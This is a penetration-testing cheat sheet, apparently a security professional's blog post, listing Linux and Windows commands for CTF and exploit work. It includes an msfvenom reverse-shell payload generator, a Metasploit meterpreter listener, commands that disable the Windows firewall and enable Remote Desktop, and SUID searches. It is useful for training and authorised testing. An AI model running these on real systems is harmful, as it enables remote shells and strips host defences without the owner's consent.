Useful commands (Linux, Windows, CTF, Exploit, etc...)

General

Search commands

Look for an text inside of file data

find / -type f -exec grep -Hn 'content_to_be_found' {} \;

Looking for writable files

find / -perm -2 ! -type l ! -path "/proc*" ! -path "/sys*" -ls 2>/dev/null

Buffer Overflow

Looking for and possible vulnerable code

find . -type f -exec grep -Hn 'strcpy' {} \; 
or
find . -type f -exec grep -Hn 'strcpy' {} \; | awk -F'[:(,)]' '{print $1 ":" $2 " ==> " $4 "|" $5 "|" $6}'

Bad Characters

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Generating Payload

Generating an payload to be used at python script avoiding some bad characters

msfvenom -p windows/shell_reverse_tcp LHOST=<server_ip> LPORT=<server_port> -b '\x00\x0a\x0d' -f python

Decoding/printting an HEX Code

echo "41424344" | xxd -r -p
or 
cat hexfile.txt | sed 's/0x//g' | sed 's/,//g' | tr -d '\n' | xxd -r -p

Listting all msfvenom payloads candidates and his Size

for p in `msfvenom --list payloads | grep windows | awk '{print $1}'` ; do echo $p; msfvenom -p $p --list-options 2>&1 | grep -i "total size"; echo; done

Generating 100 files with random content betwwen 1 and 10 MB

for i in {1..100} ; do SIZE=$(( ( RANDOM % 10 )  + 1 )); FILENAME=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32); echo "[$i - 100] Generating $SIZE file..."; dd if=/dev/urandom of=sample_$FILENAME.txt bs=1M count=$SIZE; done

Getting only binary opcode

objdump -d mcat |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | sed 's/ /\\x/g'

Windows

Disabling Windows firewall

netsh firewall opmode disable
netsh advfirewall set allprofiles state off

Enabling Remote Desktop Service

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0

Linux

Rdesktop with disk sharing

rdesktop  -u user -p password server:port -r disk:test=/tmp/ -g 85% -x m

Starting Metasploit Listener

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
exploit -j -z

Finding all root SUID files

find / -perm +4000 -uid 0 2>/dev/null

Filtering wordlist by length and unique texts

cat data.txt | awk '{if (length($0) > 6 && length($0) <= 16) print tolower($0) }' | sort -u

Sobre
Últimos Posts

Helvio Junior - M4v3r1ck (OSCE, OSCP, OSWE, OSED, eCXD, eMAPT, CEH)

CEO em Sec4US

OSCE, OSCP, OSWE, OSED, eCXD, eMAPT, CEH. Cyber security researcher, low level and binary exploitation entusiast.

Últimos posts por Helvio Junior - M4v3r1ck (OSCE, OSCP, OSWE, OSED, eCXD, eMAPT, CEH) (exibir todos)

OSCE, OSED e eCXD: Certificações de desenvolvimento de Exploits - setembro 14, 2021
Shellcoding – Encontrando endereço da função dinamicamente. Análise da biblioteca block_api - agosto 15, 2021
OSWE – Uma história de insucessos! - dezembro 29, 2020

Useful commands (Linux, Windows, CTF, Exploit, etc…)